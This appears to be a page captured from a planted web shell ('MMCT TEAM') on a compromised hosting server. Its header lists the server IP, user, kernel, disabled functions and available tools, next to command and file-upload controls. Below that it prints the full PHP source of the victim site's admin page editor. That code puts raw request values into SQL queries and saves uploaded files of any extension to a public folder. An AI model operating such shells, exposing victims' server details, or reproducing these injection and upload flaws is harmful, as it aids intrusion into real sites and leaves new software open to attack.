MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.117.70.64
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/ambicaengineeringworks.in/css/../wknadmin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/ambicaengineeringworks.in/css/../wknadmin/static_page_f.php
<?php
require_once("../includes/dbsmain.inc.php");
$site_pages_id = $_REQUEST['site_pages_id'];
if(is_post_back()) {
 if($site_pages_name=='Home'){
  $pg_url='index';
 }else{
$pg_url=ami_crete_url($site_pages_name);
}
$ordBY=db_scalar("select MAX(site_pages_order_by) from tbl_site_pages where 1");
$ordBY=$ordBY+1;
	if($site_pages_id!='') {
		////////////****************** IMAGE RESIZING START HERE *****************************//
//********** Code Created By Amitabh Kumar Sinha : Web Developer : Webkey Network Pvt. Ltd. *****************//
//**********  DATE : 31:07:2014 *****************//
//------------FUNCTION TO GET IMAGE EXTENSION START---------------//
 function getExtension($str) {
         $i = strrpos($str,".");
         if (!$i) { return ""; }
         $l = strlen($str) - $i;
         $ext = substr($str,$i+1,$l);
         return $ext;
 }
 //------------FUNCTION TO GET IMAGE EXTENSION END---------------//
 	$image =$_FILES["file"]["name"];
	$uploadedfile = $_FILES['file']['tmp_name']; 
 	if ($image) { 	
	    $DelImage=db_scalar("select site_pages_image_name from tbl_site_pages where 1 and site_pages_id = '$site_pages_id'");
	    @unlink("../static_files/$DelImage");
 		$filename = stripslashes($_FILES['file']['name']); 	
  		$extension = getExtension($filename);
 		$extension = strtolower($extension);		
		$imgNAME = $pg_url.".".$extension;

move_uploaded_file($_FILES['file']['tmp_name'],"../static_files/$imgNAME");
}else{
$imgNAME=db_scalar("select site_pages_image_name from tbl_site_pages where 1 and site_pages_id = '$site_pages_id'");
}

////////////****************** IMAGE RESIZING END HERE *****************************//
		$sqlupdate = "update tbl_site_pages set 
		                 site_pages_name='$site_pages_name', 
						 site_pages_url='$pg_url',
						 site_pages_image_name='$imgNAME',
						 site_pages_link='$site_pages_link',
						 site_pages_meta_title = '$site_pages_meta_title',
						 site_pages_meta_description='$site_pages_meta_description',
						 site_pages_meta_keyword='$site_pages_meta_keyword',
						 site_pages_description='$site_pages_description',
						 site_pages_show_in_header='$site_pages_show_in_header',
						 site_pages_show_in_footer='$site_pages_show_in_footer',
						 site_pages_status='$site_pages_status'  
						 where site_pages_id = '$site_pages_id' ";
		                 db_query($sqlupdate);
						 set_session_msg("Page Updated Successfully !");
	  }else{
		  //*************** INSERT NEW CATEGORY START ************************//
////////////****************** IMAGE RESIZING START HERE *****************************//
//********** Code Created By Amitabh Kumar Sinha : Web Developer : Webkey Network Pvt. Ltd. *****************//
//**********  DATE : 31:07:2014 *****************//
//------------FUNCTION TO GET IMAGE EXTENSION START---------------//
 function getExtension($str) {
         $i = strrpos($str,".");
         if (!$i) { return ""; }
         $l = strlen($str) - $i;
         $ext = substr($str,$i+1,$l);
         return $ext;
 }
 //------------FUNCTION TO GET IMAGE EXTENSION END---------------//
 	$image =$_FILES["file"]["name"];
	$uploadedfile = $_FILES['file']['tmp_name']; 
 	if ($image) { 	
 		$filename = stripslashes($_FILES['file']['name']); 	
  		$extension = getExtension($filename);
 		$extension = strtolower($extension);
		$imgNAME = $pg_url.".".$extension;		


move_uploaded_file($_FILES['file']['tmp_name'],"../static_files/$imgNAME");
}

////////////****************** IMAGE RESIZING END HERE *****************************//
	  $dupliDataCount=db_scalar("select count(*) from tbl_site_pages where 1 and site_pages_name='$site_pages_name'");
 if($dupliDataCount =='0'){
		 $sqlinsert = "insert into tbl_site_pages set 
		                  site_pages_name='$site_pages_name',
						  site_pages_image_name='$imgNAME',
						  site_pages_url='$pg_url',
						  site_pages_link='$site_pages_link',
						  site_pages_meta_title = '$site_pages_meta_title',
						  site_pages_meta_description='$site_pages_meta_description',
						  site_pages_meta_keyword='$site_pages_meta_keyword',
						  site_pages_description='$site_pages_description',
						  site_pages_show_in_header='$site_pages_show_in_header',
						  site_pages_show_in_footer='$site_pages_show_in_footer',
						  site_pages_order_by='$ordBY',
						  site_pages_status='$site_pages_status' ";
		                  db_query($sqlinsert);
						  set_session_msg("Page Added Successfully !");
		            }else{	 
	                      set_session_msg("Sorry! page name is already exist !");	
	}
  }
	header("Location: static_page_list.php");
	exit;
	
}
if($site_pages_id!=''){
	$result = db_query("select * from tbl_site_pages where site_pages_id = '$site_pages_id'");
	if ($line_raw = mysqli_fetch_array($result)) {
		$line = ms_form_value($line_raw);
		@extract($line);
	}
}
?>
<script type="text/javascript">
function formValidation(){
if(document.getElementById('site_pages_link').value==0){
	alert("Select page link !");
	document.getElementById('site_pages_link').focus();
	return false;
 }

}
</script>
<link href="styles.css" rel="stylesheet" type="text/css">
<script src="ckeditor/ckeditor.js"></script>
<style>
p.fck {
    width: 90%;
	float:left;
    margin: 0 auto;
 }
</style>
<?php include("top.inc.php");?>
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td id="pageHead"><div id="txtPageHead">Add/Edit Static Page Content</div></td>
              </tr>
            </table>
            <div align="right"><a href="static_page_list.php" style="font-size:12px; font-weight:bold; margin-right:15px;">Back to Static Pages List</a>&nbsp;</div>
            <form name="form1" method="post" onsubmit="return formValidation()" enctype="multipart/form-data">
              <table width="95%"  border="0" align="center" cellpadding="0" cellspacing="0" class="tableForm">
			  <tr>
                  <td width="20%" class="tdLabel">&nbsp;</td>
                  <td width="80%" class="tdData" style="padding-left:7px;"><strong><font color="red"><?=display_sess_msg();?></font></strong></td>
                </tr>
                <tr>
                  <td width="20%" class="tdLabel" style="font-size:12px; padding:7px;">Page Name:</td>
                  <td width="80%" class="tdData" style="font-size:12px; padding:7px;"><input name="site_pages_name" style="width:350px; height:28px;" type="text" id="site_pages_name"  value="<?=$site_pages_name?>" class="textfield"  ></td>
                </tr>
				<tr>
                  <td width="20%" class="tdLabel" style="font-size:12px; padding:7px;">Page Link:</td>
                  <td width="80%" class="tdData" style="font-size:12px; padding:7px;">
				  <select name="site_pages_link" id="site_pages_link" style="width:350px; height:28px;">
				  <option value="">Select Page Link</option>
				  <option value="index" <?php if($site_pages_link=='index'){ ?> selected="selected" <? } ?>>index.php</option>
				  <option value="about-us" <?php if($site_pages_link=='about-us'){ ?> selected="selected" <? } ?>>about-us.php</option>
				  <option value="contact-us" <?php if($site_pages_link=='contact-us'){ ?> selected="selected" <? } ?>>contact-us.php</option>
				  <option value="enquiry" <?php if($site_pages_link=='enquiry'){ ?> selected="selected" <? } ?>>enquiry.php</option>
				  <option value="products" <?php if($site_pages_link=='products'){ ?> selected="selected" <? } ?>>products.php</option>
				  <option value="gallery" <?php if($site_pages_link=='gallery'){ ?> selected="selected" <? } ?>>gallery.php</option>
				  <option value="current-jobs" <?php if($site_pages_link=='current-jobs'){ ?> selected="selected" <? } ?>>current-jobs.php</option>
				  <option value="testimonial" <?php if($site_pages_link=='testimonial'){ ?> selected="selected" <? } ?>>testimonial.php</option>
				  <option value="press-release" <?php if($site_pages_link=='press-release'){ ?> selected="selected" <? } ?>>press-release.php</option>
				  <option value="site-map" <?php if($site_pages_link=='site-map'){ ?> selected="selected" <? } ?>>site-map.php</option>
				  <option value="video" <?php if($site_pages_link=='video'){ ?> selected="selected" <? } ?>>video.php</option>
				  <option value="certificates" <?php if($site_pages_link=='certificates'){ ?> selected="selected" <? } ?>>certificates.php</option>
				  <option value="client-logos" <?php if($site_pages_link=='client-logos'){ ?> selected="selected" <? } ?>>client-logos.php</option>
				  <option value="quality-assurance" <?php if($site_pages_link=='quality-assurance'){ ?> selected="selected" <? } ?>>quality-assurance.php</option>
				  <option value="download-catalog" <?php if($site_pages_link=='download-catalog'){ ?> selected="selected" <? } ?>>download-catalog.php</option>
				  </select>
				  </td>
                </tr>
				
                <?php if($_REQUEST['site_pages_id']=='2'){ ?>
                <?php if($site_pages_image_name){ ?>
                <tr>
                  <td width="177" class="tdLabel" style="font-size:12px; padding:5px;">Current Image  :</td>
                  <td width="721" class="tdData" style="font-size:12px; padding:5px;"><img src="../static_files/<?=$site_pages_image_name?>" height="70" width="70"  border="0"> </td>
                </tr>
                <? } ?>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:5px;">Upload Image :</td>
                  <td class="tdData" style="font-size:12px; padding:5px;"><input type="file" name="file" id="file"></td>
                </tr>
                <? } ?>
                
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Meta Title:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><input name="site_pages_meta_title" style="width:350px; height:28px;" type="text" id="site_pages_meta_title" emsg="Please Enter Meta Title"  value="<?=$site_pages_meta_title?>"  alt="blank" class="textfield" /></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Meta Keyword:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;">
				  <textarea rows="5" cols="66" name="site_pages_meta_keyword"><?=$site_pages_meta_keyword?></textarea></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Meta Description:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;">
				  <textarea rows="5" cols="66" name="site_pages_meta_description"><?=$site_pages_meta_description?></textarea></td>
                </tr>
                <tr>
                  <td width="141" class="tdLabel" style="font-size:12px; padding:7px;">Content:</td>
                  <td width="270" class="tdData" style="font-size:12px; padding:7px;">
				  <p class="fck" style="color:#ACACAC">
                      <textarea cols="80" id="editor1" name="site_pages_description" rows="10"><?=$site_pages_description?>
</textarea>
                      <script>

			// Replace the <textarea id="editor"> with an CKEditor
			// instance, using default configurations.
			CKEDITOR.replace( 'editor1', {
				uiColor: '#ACACAC',
				toolbar: [
					[ 'Bold', 'Italic', '-', 'NumberedList', 'BulletedList', '-', 'Link', 'Unlink' ],
					[ 'FontSize', 'TextColor', 'BGColor' ]
				]
			});

		</script>
                    </p>
				  </td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Show In Header:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><select name="site_pages_show_in_header" style="width:200px; height:26px;">
                      <option value="Yes">Yes</option>
                      <option value="No" <?php if($site_pages_show_in_header=='No'){ ?> selected="selected" <? } ?>>No</option>
                    </select></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Show In Footer:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><select name="site_pages_show_in_footer" style="width:200px; height:26px;">
                      <option value="Yes">Yes</option>
                      <option value="No" <?php if($site_pages_show_in_footer=='No'){ ?> selected="selected" <? } ?>>No</option>
                    </select></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Status:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><select name="site_pages_status" style="width:200px; height:26px;">
                      <option value="Active">Active</option>
                      <option value="Inactive" <?php if($site_pages_status=='Inactive'){ ?> selected="selected" <? } ?>>Inactive</option>
                    </select></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">&nbsp;</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><input type="hidden" name="site_pages_id" value="<?=$site_pages_id?>" />
                    <input type="image" name="imageField" src="images/buttons/submit.gif" style="width:100px; margin-bottom:25px;" /></td>
                </tr>
              </table>
            </form>
            <? include("bottom.inc.php");?>

MMCT - 2023